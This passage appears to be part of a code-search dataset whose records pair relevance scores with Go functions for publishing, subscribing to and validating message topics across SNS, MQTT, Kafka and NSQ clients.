"5285688fd87a68e15d86c45cf0d8e099", "score": "0.587752", "text": "func Topic_IsConstruct(x interface{}) *bool {\n\t_init_.Initialize()\n\n\tvar returns *bool\n\n\t_jsii_.StaticInvoke(\n\t\t\"monocdk.aws_sns.Topic\",\n\t\t\"isConstruct\",\n\t\t[]interface{}{x},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "d9ed4dc5a49ee65537bbc6862bafe9b1", "score": "0.5816618", "text": "func (t PubSubTopic) Exists(ctx context.Context) (bool, error) {\n\treturn t.topic.Exists(ctx)\n}", "title": "" }, { "docid": "8ab48f85b434698dcfe84be8eac09a19", "score": "0.581079", "text": "func (b *Broker) Subscribe(sub *Subscriber, topic string) bool {\n\n\tb.mu.Lock()\n\tdefer b.mu.Unlock()\n\n\tif b.isEmpty(sub, topic) {\n\t\treturn b.add(sub, topic)\n\t}\n\n\tif b.isExist(sub, topic) {\n\t\treturn false\n\t}\n\n\treturn b.add(sub, topic)\n}", "title": "" }, { "docid": "ab4ace99c7f3653b9f989986323c7efa", "score": "0.5805507", "text": "func (c *ExamplePubSub) TopicHasPendingMessages(topic string) bool {\n\tif _, ok := c.Client.Messages[topic]; !ok {\n\t\treturn false\n\t}\n\treturn len(c.Client.Messages[topic]) > 0\n}", "title": "" }, { "docid": "9207c40afe6b626d4cc897522a3a1cfd", "score": "0.57900304", "text": "func (ts *TopicStatus) MarkTopicReady() {\n\ttopicCondSet.Manage(ts).MarkTrue(TopicConditionTopicExists)\n}", "title": "" }, { "docid": "bcdfa5ff0239f7d33fc01db2f53862ca", "score": "0.57699907", "text": "func (o *UpdateTopicInput) HasConfig() bool {\n\tif o != nil && o.Config != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "649ab569c5551229f5723b554e18fb35", "score": "0.5756613", "text": "func ValidTopic(topic []byte) bool {\n\treturn IsValidUTF(topic) && TopicPublishRegexp.Match(topic)\n}", "title": "" }, { "docid": "952d4ebb0503d7a2c4528743172a3826", "score": "0.57532156", "text": "func PubTopicValidate(topic string) bool {\n\tif topic == \"\" {\n\t\treturn false\n\t}\n\tif len(topic) > MaxTopicNameLen || strings.Contains(topic, \"\\u0000\") ||\n\t\tstrings.Count(topic, TopicSeparator) > MaxSlashCount {\n\t\treturn false\n\t}\n\tif ContainsWildcard(topic) {\n\t\treturn false\n\t}\n\tif isSysTopic(topic) {\n\t\treturn false\n\t}\n\treturn true\n}", "title": "" }, { "docid": "8b52c9d3581d1a8c248be4cf9e58fb60", "score": "0.57407516", "text": "func (cs *ChannelStatus) MarkTopicReady() {\n\tchannelCondSet.Manage(cs).MarkTrue(ChannelConditionTopicReady)\n}", "title": "" }, { "docid": "1604e2880220a48694d645bbce9d115b", "score": "0.56958205", "text": "func (o *ConnectorStartStreamAllOf) HasResponseTopic() bool {\n\tif o != nil && o.ResponseTopic != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "66026eaaa534c3a2167bc2c04fe3a723", "score": "0.56953883", "text": "func (sm *subscriptionManager) PublishChange(topic keybase1.SubscriptionTopic) {\n\tsm.lock.RLock()\n\tdefer sm.lock.RUnlock()\n\n\t// When sync status changes, trigger notification for all paths so they\n\t// reload to get new prefetch status. This is unfortunate but it's\n\t// non-trivial to actually build notification around individuall path's\n\t// prefetch status. Since GUI doesnt' have that many path notifications,\n\t// this should be fine.\n\t//\n\t// TODO: Build it.\n\tif topic == keybase1.SubscriptionTopic_OVERALL_SYNC_STATUS {\n\t\tfor _, subscriptions := range sm.pathSubscriptions {\n\t\t\tfor _, notifier := range subscriptions {\n\t\t\t\tnotifier.notify()\n\t\t\t}\n\t\t}\n\t}\n\n\tif sm.nonPathSubscriptions[topic] == nil {\n\t\treturn\n\t}\n\tfor _, notifier := range sm.nonPathSubscriptions[topic] {\n\t\tnotifier.notify()\n\t}\n}", "title": "" }, { "docid": "31ead5d6bd32f7d8566cc93710505ea0", "score": "0.5669076", "text": "func CfnTopic_IsConstruct(x interface{}) *bool {\n\t_init_.Initialize()\n\n\tvar returns *bool\n\n\t_jsii_.StaticInvoke(\n\t\t\"monocdk.aws_sns.CfnTopic\",\n\t\t\"isConstruct\",\n\t\t[]interface{}{x},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "aa58559373c3c042acad0c6b39c7940a", "score": "0.5651705", "text": "func (r *Function) Publish() pulumi.BoolOutput {\n\treturn (pulumi.BoolOutput)(r.s.State[\"publish\"])\n}", "title": "" }, { "docid": "de01318a4397eff08508ac5e2be333c3", "score": "0.5611104", "text": "func (e *metadataUpdateEvent) isEmpty() bool {\n\treturn e.pending == 0\n}", "title": "" }, { "docid": "be3dab350f81c6ace8ccbb51fc286847", "score": "0.5584984", "text": "func (s *impl) publishToTopic(p *mqttp.Publish) error {\n\t// v5.0\n\t// If the Server included Retain Available in its CONNACK response to a Client with its value set to 0 and it\n\t// receives a PUBLISH packet with the RETAIN flag is set to 1, then it uses the DISCONNECT Reason\n\t// Code of 0x9A (Retain not supported) as described in section 4.13.\n\tif s.version >= mqttp.ProtocolV50 {\n\t\t// [MQTT-3.3.2.3.4]\n\t\tif prop := p.PropertyGet(mqttp.PropertyTopicAlias); prop != nil {\n\t\t\tif val, err := prop.AsShort(); err == nil {\n\t\t\t\tif len(p.Topic()) != 0 {\n\t\t\t\t\t// renew alias with new topic\n\t\t\t\t\ts.rx.topicAlias[val] = p.Topic()\n\t\t\t\t} else {\n\t\t\t\t\tif topic, kk := s.rx.topicAlias[val]; kk {\n\t\t\t\t\t\t// do not check for error as topic has been validated when arrived\n\t\t\t\t\t\tif err = p.SetTopic(topic); err != nil {\n\t\t\t\t\t\t\ts.log.Error(\"publish to topic\",\n\t\t\t\t\t\t\t\tzap.String(\"clientId\", s.id),\n\t\t\t\t\t\t\t\tzap.String(\"topic\", topic),\n\t\t\t\t\t\t\t\tzap.Error(err))\n\t\t\t\t\t\t}\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn mqttp.CodeInvalidTopicAlias\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\treturn mqttp.CodeInvalidTopicAlias\n\t\t\t}\n\t\t}\n\n\t\t// [MQTT-3.3.2.3.3]\n\t\tif prop := p.PropertyGet(mqttp.PropertyPublicationExpiry); prop != nil {\n\t\t\tif val, err := prop.AsInt(); err == nil {\n\t\t\t\ts.log.Debug(\"Set pub expiration\",\n\t\t\t\t\tzap.String(\"clientId\", s.id),\n\t\t\t\t\tzap.Duration(\"val\", time.Duration(val)*time.Second))\n\t\t\t\tp.SetExpireAt(time.Now().Add(time.Duration(val) * time.Second))\n\t\t\t} else {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn s.SignalPublish(p)\n}", "title": "" }, { "docid": "a15dd488b33fa480e69b08d0728c4559", "score": "0.5575475", "text": "func TopicPublish(w http.ResponseWriter, r *http.Request) {\n\t// Init output\n\toutput := []byte(\"\")\n\n\t// Add content type header to the response\n\tcontentType := \"application/json\"\n\tcharset := \"utf-8\"\n\tw.Header().Add(\"Content-Type\", fmt.Sprintf(\"%s; charset=%s\", contentType, charset))\n\n\t// Get url path variables\n\turlVars := mux.Vars(r)\n\n\t// Grab context references\n\trefBrk := context.Get(r, \"brk\").(brokers.Broker)\n\trefStr := context.Get(r, \"str\").(stores.Store)\n\n\t// Create Topics Object\n\ttp := topics.Topics{}\n\ttp.LoadFromStore(refStr)\n\n\t// Check if Project/Topic exist\n\tif tp.HasTopic(urlVars[\"project\"], urlVars[\"topic\"]) == false {\n\t\trespondErr(w, 404, \"POST: Project/Topic combination: \"+urlVars[\"project\"]+\"/\"+urlVars[\"topic\"]+\" doesnt exist\")\n\t\treturn\n\t}\n\n\t// Read POST JSON body\n\tbody, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\trespondErr(w, 500, \"POST: Could not read POST Body\")\n\t\treturn\n\t}\n\n\t// Create Message List from Post JSON\n\tmsgList, err := messages.LoadMsgListJSON(body)\n\tif err != nil {\n\t\trespondErr(w, 500, \"POST: Input JSON schema is not valid\")\n\t\treturn\n\t}\n\n\t// Init message ids list\n\tmsgIDs := messages.MsgIDs{}\n\n\t// For each message in message list\n\tfor _, msg := range msgList.Msgs {\n\t\t// Get offset and set it as msg\n\t\tfullTopic := urlVars[\"project\"] + \".\" + urlVars[\"topic\"]\n\t\toff := refBrk.GetOffset(fullTopic)\n\t\tmsg.ID = strconv.FormatInt(off, 10)\n\t\t// Stamp time to UTC Z to nanoseconds\n\t\tzNano := \"2006-01-02T15:04:05.999999999Z\"\n\t\tt := time.Now()\n\t\tmsg.PubTime = t.Format(zNano)\n\n\t\t// Publish the message\n\t\tpayload, err := msg.ExportJSON()\n\t\tif err != nil {\n\t\t\trespondErr(w, 500, \"PUBLISH: Error during exporting message to JSON\")\n\t\t\treturn\n\t\t}\n\n\t\trTop, rPart, rOff := refBrk.Publish(fullTopic, payload)\n\n\t\t// Assertions for Succesfull Publish\n\t\tif rTop != fullTopic {\n\t\t\trespondErr(w, 500, \"PUBLISH: Broker reports wrong topic\")\n\t\t\treturn\n\t\t}\n\n\t\tif rPart != 0 {\n\t\t\trespondErr(w, 500, \"PUBLISH: Broker reports wrong partition\")\n\t\t\treturn\n\t\t}\n\n\t\tif rOff != off {\n\t\t\trespondErr(w, 500, \"PUBLISH: Broker reports wrong offset\")\n\t\t\treturn\n\t\t}\n\n\t\t// Append the MsgID of the successful published message to the msgIds list\n\t\tmsgIDs.IDs = append(msgIDs.IDs, msg.ID)\n\t}\n\n\t// Export the msgIDs\n\tresJSON, err := msgIDs.ExportJSON()\n\tif err != nil {\n\t\trespondErr(w, 500, \"RESPONSE: Error during exporting message to JSON\")\n\t\treturn\n\t}\n\n\t// Write response\n\toutput = []byte(resJSON)\n\trespondOK(w, output)\n}", "title": "" }, { "docid": "a994e6525984e9ac7a40731d75eca772", "score": "0.5573575", "text": "func (s *Subscriber) IsSubscribed(keys ...string) bool {\n\ts.topicsMtx.RLock()\n\tdefer s.topicsMtx.RUnlock()\n\tfor _, topic := range s.topics {\n\t\tif equalTopics(topic, keys) {\n\t\t\treturn true\n\t\t}\n\t}\n\treturn false\n}", "title": "" }, { "docid": "dea8b8beccc3017b76ede2368b5768d8", "score": "0.55732", "text": "func (s *SubmitQueue) NeedWakeup() bool {\n\treturn atomic.LoadUint32(s.Flags)&SqNeedWakeup != 0\n}", "title": "" }, { "docid": "5fc1becd75fb0d6fb93fbe52cbbe4868", "score": "0.5565444", "text": "func Topic_IsResource(construct awscdk.IConstruct) *bool {\n\t_init_.Initialize()\n\n\tvar returns *bool\n\n\t_jsii_.StaticInvoke(\n\t\t\"monocdk.aws_sns.Topic\",\n\t\t\"isResource\",\n\t\t[]interface{}{construct},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "03234e30353702446af7a9ec7ede58fa", "score": "0.5560774", "text": "func TopicBase_IsConstruct(x interface{}) *bool {\n\t_init_.Initialize()\n\n\tvar returns *bool\n\n\t_jsii_.StaticInvoke(\n\t\t\"monocdk.aws_sns.TopicBase\",\n\t\t\"isConstruct\",\n\t\t[]interface{}{x},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "d828556dbd2104706368da23f14b7754", "score": "0.55561775", "text": "func (ts *TopicStatus) IsReady() bool {\n\treturn topicCondSet.Manage(ts).IsHappy()\n}", "title": "" }, { "docid": "a230bfaa117f22f8d037a97a8a06aefc", "score": "0.5510507", "text": "func TopicPolicy_IsConstruct(x interface{}) *bool {\n\t_init_.Initialize()\n\n\tvar returns *bool\n\n\t_jsii_.StaticInvoke(\n\t\t\"monocdk.aws_sns.TopicPolicy\",\n\t\t\"isConstruct\",\n\t\t[]interface{}{x},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "84f8f6c5a6b8792aac1c7fccb4f7529f", "score": "0.54813457", "text": "func (s *impl) onPublish(pkt *mqttp.Publish) (mqttp.IFace, error) {\n\t// check for topic access\n\tvar err error\n\treason := mqttp.CodeSuccess\n\n\tif s.version >= mqttp.ProtocolV50 {\n\t\tif !s.retainAvailable && pkt.Retain() {\n\t\t\treturn nil, mqttp.CodeRetainNotSupported\n\t\t}\n\n\t\tif prop := pkt.PropertyGet(mqttp.PropertyTopicAlias); prop != nil {\n\t\t\tif val, ok := prop.AsShort(); ok == nil && (val == 0 || val > s.maxRxTopicAlias) {\n\t\t\t\treturn nil, mqttp.CodeInvalidTopicAlias\n\t\t\t}\n\t\t}\n\t}\n\n\tvar resp mqttp.IFace\n\n\t// This case is for V5.0 actually as ack messages may return status.\n\t// To deal with V3.1.1 two ways left:\n\t// - ignore the message but send acks\n\t// - return error leading to disconnect\n\t// TODO: publish permissions\n\tif e := s.permissions.ACL(s.id, \"\", pkt.Topic(), vlauth.AccessWrite); e != vlauth.StatusAllow {\n\t\treason = mqttp.CodeRefusedNotAuthorized\n\t}\n\n\tswitch pkt.QoS() {\n\tcase mqttp.QoS2:\n\t\tif s.rxQuota == 0 {\n\t\t\terr = mqttp.CodeReceiveMaximumExceeded\n\t\t} else {\n\t\t\ts.rxQuota--\n\t\t\tr := mqttp.NewPubRec(s.version)\n\t\t\tid, _ := pkt.ID()\n\n\t\t\tr.SetPacketID(id)\n\n\t\t\tresp = r\n\n\t\t\t// [MQTT-4.3.3-9]\n\t\t\t// store incoming QoS 2 message before sending PUBREC as theoretically PUBREL\n\t\t\t// might come before store in case message store done after write PUBREC\n\t\t\tif reason < mqttp.CodeUnspecifiedError {\n\t\t\t\ts.pubIn.store(pkt)\n\t\t\t}\n\n\t\t\tr.SetReason(mqttp.CodeSuccess)\n\t\t}\n\tcase mqttp.QoS1:\n\t\tif s.rxQuota == 0 {\n\t\t\terr = mqttp.CodeReceiveMaximumExceeded\n\t\t\tbreak\n\t\t}\n\n\t\tr := mqttp.NewPubAck(s.version)\n\n\t\tid, _ := pkt.ID()\n\n\t\tr.SetPacketID(id)\n\t\tr.SetReason(reason)\n\t\tresp = r\n\n\t\tif reason >= mqttp.CodeUnspecifiedError {\n\t\t\tbreak\n\t\t}\n\n\t\tfallthrough\n\tcase mqttp.QoS0: // QoS 0\n\t\t// [MQTT-4.3.1]\n\t\t// [MQTT-4.3.2-4]\n\t\t// TODO(troian): ignore if publish permissions not validated\n\t\tif err = s.publishToTopic(pkt); err != nil {\n\t\t\ts.log.Error(\"Couldn't publish message\",\n\t\t\t\tzap.String(\"clientId\", s.id),\n\t\t\t\tzap.Uint8(\"QoS\", uint8(pkt.QoS())),\n\t\t\t\tzap.Error(err))\n\t\t}\n\t}\n\n\treturn resp, err\n}", "title": "" }, { "docid": "45699b688f338eae50a33d7b0fc40fc7", "score": "0.54492766", "text": "func (p *ProducerManager) Publish(topic string, body []byte) error {\n\tif err := p.topicExist(topic); err != nil {\n\t\treturn err\n\t}\n\treturn p.producer.Publish(topic, body)\n}", "title": "" }, { "docid": "aba439a5a8ad299ab32c54541472fb5a", "score": "0.54300153", "text": "func rebalanceTopicCheck(\n\ttopicConfig config.TopicConfig,\n\ttopicInfo admin.TopicInfo,\n) error {\n\tlog.Debugf(\"Check topic partitions...\")\n\tif len(topicInfo.Partitions) != topicConfig.Spec.Partitions {\n\t\treturn fmt.Errorf(\"Topic partitions in kafka: %d does not match with topic config: %d\",\n\t\t\tlen(topicInfo.Partitions),\n\t\t\ttopicConfig.Spec.Partitions,\n\t\t)\n\t}\n\n\tlog.Debugf(\"Check topic retention.ms...\")\n\ttopicInfoRetentionMs := topicInfo.Config[\"retention.ms\"]\n\ttopicConfigRetentionMs := strconv.Itoa(topicConfig.Spec.RetentionMinutes * 60000)\n\tif topicInfoRetentionMs == \"\" {\n\t\ttopicInfoRetentionMs = strconv.Itoa(0)\n\t}\n\tif topicInfoRetentionMs != topicConfigRetentionMs {\n\t\treturn fmt.Errorf(\"Topic retention in kafka: %s does not match with topic config: %s\",\n\t\t\ttopicInfoRetentionMs,\n\t\t\ttopicConfigRetentionMs,\n\t\t)\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "4193812884a0a9bf0abc949aa8a04408", "score": "0.54221237", "text": "func (_ CheckConfigAliases) Publish(p graphql.ResolveParams) (bool, error) {\n\tval, err := graphql.DefaultResolver(p.Source, p.Info.FieldName)\n\tret, ok := val.(bool)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\tif !ok {\n\t\treturn ret, errors.New(\"unable to coerce value for field 'publish'\")\n\t}\n\treturn ret, err\n}", "title": "" }, { "docid": "39c241c869280df1d710f41ed441bd6d", "score": "0.5417349", "text": "func (o *KafkaIntegration) HasKafkaTopicNames() bool {\n\tif o != nil && !IsNil(o.KafkaTopicNames) {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "20c8076bfc778628489acdc5d384d67b", "score": "0.5414855", "text": "func Publish(topic string, data []byte) (err error) {\n\tconfig := nsq.NewConfig()\n\tw, _ := nsq.NewProducer(util.NSQLookupdURL, config)\n\n\terr = w.Publish(topic, data)\n\tif err != nil {\n\t\tfmt.Println(\"error from func publish :\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "fe32e8450f05d51c931543d2bb3e6074", "score": "0.54091513", "text": "func (s *Sub) PubUpdate(mani *manifest.SubManifest, mani_bytes []byte) error {\n glog.Infof(\"%s topic: %s\", common.CurrentScope(), mani.Topics[common.TopicUpdateManifest])\n\n s.cli = mqtt.NewClient(newClientOptions(mani))\n d, _ := time.ParseDuration(ConnectTimeout)\n if token := s.cli.Connect(); token.WaitTimeout(d) && token.Error() != nil {\n return token.Error()\n }\n defer s.cli.Disconnect(256)\n\n if token := s.cli.Publish(mani.Topics[common.TopicUpdateManifest], Qos, false, mani_bytes);\n token.Wait() && token.Error() != nil {\n return token.Error()\n }\n\n return nil\n}", "title": "" }, { "docid": "f7327b8dfdb103a7089c224cea4c22a2", "score": "0.54050994", "text": "func (g *gonsq) Publish(topic string, msg []byte) error {\n\n\tif err := g.prod.Publish(topic, msg); err != nil {\n\t\tlog.Println(\"func Publish\", err)\n\t\treturn err\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "eda115e810afa1eea0f5aa8e0479729e", "score": "0.53948134", "text": "func (o *UpdateTopicInput) HasNumPartitions() bool {\n\tif o != nil && o.NumPartitions != nil {\n\t\treturn true\n\t}\n\n\treturn false\n}", "title": "" }, { "docid": "da57526648cece92f9f4d17c8fdc4982", "score": "0.53932226", "text": "func (o ElasticsearchSpecTransportServiceSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *ElasticsearchSpecTransportServiceSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "2673f7d0f95899e8072866532ab0c6e0", "score": "0.5385359", "text": "func (t *Topic) Exists(ctx context.Context) (bool, error) {\n\tif t.name == \"_deleted-topic_\" {\n\t\treturn false, nil\n\t}\n\n\treturn t.s.topicExists(ctx, t.name)\n}", "title": "" }, { "docid": "69f5033db28dcb9d29955fdb87b07bcc", "score": "0.5373869", "text": "func CfnTopicPolicy_IsConstruct(x interface{}) *bool {\n\t_init_.Initialize()\n\n\tvar returns *bool\n\n\t_jsii_.StaticInvoke(\n\t\t\"monocdk.aws_sns.CfnTopicPolicy\",\n\t\t\"isConstruct\",\n\t\t[]interface{}{x},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "ff57284666517c720c751621df75e855", "score": "0.53700584", "text": "func (mh *eventSourceMessageHolder) isCleanedUp() bool {\n\tfor _, v := range mh.parameters {\n\t\tif v == true {\n\t\t\treturn false\n\t\t}\n\t}\n\treturn len(mh.msgs) == 0\n}", "title": "" }, { "docid": "673a71df6484de15e8a2737d2e7c894f", "score": "0.5348011", "text": "func (p *Publisher) IsReady() bool {\n\tp.RLock()\n\tdefer p.RUnlock()\n\treturn p.ready\n}", "title": "" }, { "docid": "574b8714920ea37323324d08f7a33e3f", "score": "0.53422433", "text": "func (t *Task) IsPublished() (bool, error) {\n\tstatus, err := t.GetStatus()\n\tif err != nil {\n\t\treturn false, err\n\t}\n\n\treturn status.IsPublished(), nil\n}", "title": "" }, { "docid": "82400fce74236f8194933a7e1afa61d4", "score": "0.5337228", "text": "func (c *PostsUpdateCall) Publish(publish bool) *PostsUpdateCall {\n\tc.urlParams_.Set(\"publish\", fmt.Sprint(publish))\n\treturn c\n}", "title": "" }, { "docid": "724926c37b53336625b26a7c82460474", "score": "0.5335201", "text": "func (_ CheckAliases) Publish(p graphql.ResolveParams) (bool, error) {\n\tval, err := graphql.DefaultResolver(p.Source, p.Info.FieldName)\n\tret, ok := val.(bool)\n\tif err != nil {\n\t\treturn ret, err\n\t}\n\tif !ok {\n\t\treturn ret, errors.New(\"unable to coerce value for field 'publish'\")\n\t}\n\treturn ret, err\n}", "title": "" }, { "docid": "f588f0f6be518e5d4711cbadc646534c", "score": "0.53336084", "text": "func GatewayPublishTopic(topic string, qos byte, msg []byte) error{\n\treturn PublishTopic(topic, qos, msg)\n}", "title": "" }, { "docid": "48f9ea3be4d450003ddeb54d235d39cd", "score": "0.5332443", "text": "func TopicBase_IsResource(construct awscdk.IConstruct) *bool {\n\t_init_.Initialize()\n\n\tvar returns *bool\n\n\t_jsii_.StaticInvoke(\n\t\t\"monocdk.aws_sns.TopicBase\",\n\t\t\"isResource\",\n\t\t[]interface{}{construct},\n\t\t&returns,\n\t)\n\n\treturn returns\n}", "title": "" }, { "docid": "06df006bce453a65e0e17b2b54ae1042", "score": "0.53163886", "text": "func topicRespondsToMetadata(t *Topic, zkConn zookeeper.Connection) int {\n\n\t// Get connection information for a broker\n\tconnections, err := zookeeper.GetBrokerConnections(0, zkConn)\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\tvar broker *sarama.Broker\n\n\t// Create a broker connection object and open the connection\n\tfor _, connection := range connections {\n\t\tbroker = sarama.NewBroker(fmt.Sprintf(\"%s:%d\", connection.BrokerHost, connection.BrokerPort))\n\t\tconfig := sarama.NewConfig()\n\t\terr = broker.Open(config)\n\t\tif err != nil {\n\t\t\treturn 0\n\t\t}\n\t}\n\n\tdefer func() {\n\t\tif err := broker.Close(); err != nil {\n\t\t\tlog.Debug(\"Error closing broker connection: %s\", err.Error())\n\t\t}\n\t}()\n\n\t// Attempt to collect metadata and determine whether it errors out\n\t_, err = broker.GetMetadata(&sarama.MetadataRequest{Version: 0, Topics: []string{t.Name}, AllowAutoTopicCreation: false})\n\tif err != nil {\n\t\treturn 0\n\t}\n\n\treturn 1\n}", "title": "" }, { "docid": "23fd93186066ad7c933a4433bceae657", "score": "0.53087944", "text": "func (dm *DeviceMessage) OTAPublishMessage() bool {\n\tlevel.Debug(em.logger).Log(\"DeviceMessage\", \"OTAPublishMessage()\")\n\treturn strings.Contains(dm.TopicS, \"$implementation/ota/firmware/\")\n}", "title": "" }, { "docid": "0d86ba48006679de587187fad09bb12f", "score": "0.5296289", "text": "func (plugin mqttPlugin) PublishTopic(f func(string, byte, bool, interface{}) MQTT.Token) error {\n\tplugin.PubTopic = f //Set the struct value so we can take action on it\n\twatcher := gpio.NewWatcher()\n\twatcher.AddPin(14) //Watch the pin the hall effect sensor is on\n\tdefer watcher.Close()\n\tfor {\n\t\tpin, value := watcher.Watch()\n\t\tif value == 0 {\n\t\t\tvar message payload\n\t\t\tmessage.Message = \"doorbell-pressed\"\n\t\t\tb, err := json.Marshal(message)\n\t\t\tif err != nil {\n\t\t\t\treturn fmt.Errorf(\"Unable to marshal struct\")\n\t\t\t}\n\t\t\tif token := f(plugin.Topic(), 0, false, string(b)); token.Wait() && token.Error() != nil {\n\t\t\t\tlog.Println(token.Error())\n\t\t\t}\n\t\t\tlog.Println(\"Published messaged!\")\n\t\t}\n\t\tfmt.Printf(\"read %d from gpio %d\\n\", value, pin)\n\t}\n}", "title": "" }, { "docid": "4794f25f1897e2c1662c4a2f2e70cf63", "score": "0.5291666", "text": "func (o ServiceSpecPatchPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *ServiceSpecPatch) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "b038b5cbf88e46d6fef95d03d0d5f7ed", "score": "0.52897245", "text": "func (conn *BytesConnectionStr) ConsumeTopic(msgClb func(message *client.ConsumerMessage), topics ...string) error {\n\tconn.multiplexer.rwlock.Lock()\n\tdefer conn.multiplexer.rwlock.Unlock()\n\n\tif conn.multiplexer.started {\n\t\treturn fmt.Errorf(\"ConsumeTopic can be called only if the multiplexer has not been started yet\")\n\t}\n\n\tfor _, topic := range topics {\n\t\t// check if we have already consumed the topic\n\t\tvar found bool\n\t\tvar subs *consumerSubscription\n\tLoopSubs:\n\t\tfor _, subscription := range conn.multiplexer.mapping {\n\t\t\tif subscription.manual == true {\n\t\t\t\t// do not mix dynamic and manual mode\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\tif subscription.topic == topic {\n\t\t\t\tfound = true\n\t\t\t\tsubs = subscription\n\t\t\t\tbreak LoopSubs\n\t\t\t}\n\t\t}\n\n\t\tif !found {\n\t\t\tsubs = &consumerSubscription{\n\t\t\t\tmanual: false, // non-manual example\n\t\t\t\ttopic: topic,\n\t\t\t\tconnectionName: conn.name,\n\t\t\t\tbyteConsMsg: msgClb,\n\t\t\t}\n\t\t\t// subscribe new topic\n\t\t\tconn.multiplexer.mapping = append(conn.multiplexer.mapping, subs)\n\t\t}\n\n\t\t// add subscription to consumerList\n\t\tsubs.byteConsMsg = msgClb\n\t}\n\n\treturn nil\n}", "title": "" }, { "docid": "61a7d9fd8325951b8ecd3c7a53fcbb2d", "score": "0.5281886", "text": "func (p *Producer) PublishTopics() []string {\n\treturn p.topicPublishInfos.topics()\n}", "title": "" }, { "docid": "ae787ae83f1cc9e0d2abf29ac1198368", "score": "0.52764773", "text": "func (p *PubSub) subscribedToMsg(msg *pb.Message) bool {\n\tif len(p.mySubs) == 0 {\n\t\treturn false\n\t}\n\n\ttopic := msg.GetTopic()\n\t_, ok := p.mySubs[topic]\n\n\treturn ok\n}", "title": "" }, { "docid": "1ec793942a0a21144e719288e2108650", "score": "0.52751577", "text": "func (t *tiPubsub) HasSubscriber(ns, topic string) (exists bool, err error) {\n\tonlineMap, err := t.getTopicOnlineMap(ns, topic)\n\tif err == nil {\n\t\texists = onlineMap.Exists()\n\t\tif exists {\n\t\t\treturn\n\t\t}\n\t}\n\tofflineMap, err := t.getTopicOfflineMap(ns, topic)\n\tif err == nil {\n\t\texists = offlineMap.Exists()\n\t}\n\treturn\n}", "title": "" }, { "docid": "b970154e407009d9bbf593fd67b777f2", "score": "0.5268793", "text": "func (wpm *WsubPostinstallMessage) Exists() bool {\n\treturn wpm._exists\n}", "title": "" }, { "docid": "c5d77337b6cb74612f93bbd8d9a4f581", "score": "0.52667373", "text": "func (o ServiceSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *ServiceSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "9fb3c77d63cf30a13627cd0822bef40f", "score": "0.5263395", "text": "func (q *Queue) isEmpty() bool {\n\trid, roffset := q.meta.GetReadingOffset()\n\twid, woffset := q.meta.GetWritingOffset()\n\treturn rid == wid && roffset == woffset\n}", "title": "" }, { "docid": "d983a10bfbc41d6173578cba3dd2a9d9", "score": "0.5249612", "text": "func (o IndexerClusterSpecServiceTemplateSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *IndexerClusterSpecServiceTemplateSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "b58122319db7b92b3925a321207a2e8f", "score": "0.52472395", "text": "func (o SparkSpecServiceTemplateSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *SparkSpecServiceTemplateSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "89e6176b42677c3297b99949fb2b0142", "score": "0.52469075", "text": "func (l *KraanLayer) NeedsRequeue() bool {\n\treturn l.requeue\n}", "title": "" }, { "docid": "a5574bf3bd7121d8e7e032ea49287784", "score": "0.52354205", "text": "func (o LicenseMasterSpecServiceTemplateSpecPtrOutput) PublishNotReadyAddresses() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *LicenseMasterSpecServiceTemplateSpec) *bool {\n\t\tif v == nil {\n\t\t\treturn nil\n\t\t}\n\t\treturn v.PublishNotReadyAddresses\n\t}).(pulumi.BoolPtrOutput)\n}", "title": "" }, { "docid": "659f52f31116ed2adfd9588336e5909f", "score": "0.52273977", "text": "func (q *Queue) isFull() bool {\n\trid, _ := q.meta.GetReadingOffset()\n\twid, _ := q.meta.GetWritingOffset()\n\t// ensure enough spaces to promise data stability.\n\tmaxWid := rid + int64(q.QueueCapacitySegments) - 1 - int64(q.MaxEventSize/q.SegmentSize)\n\treturn wid >= maxWid\n}", "title": "" }, { 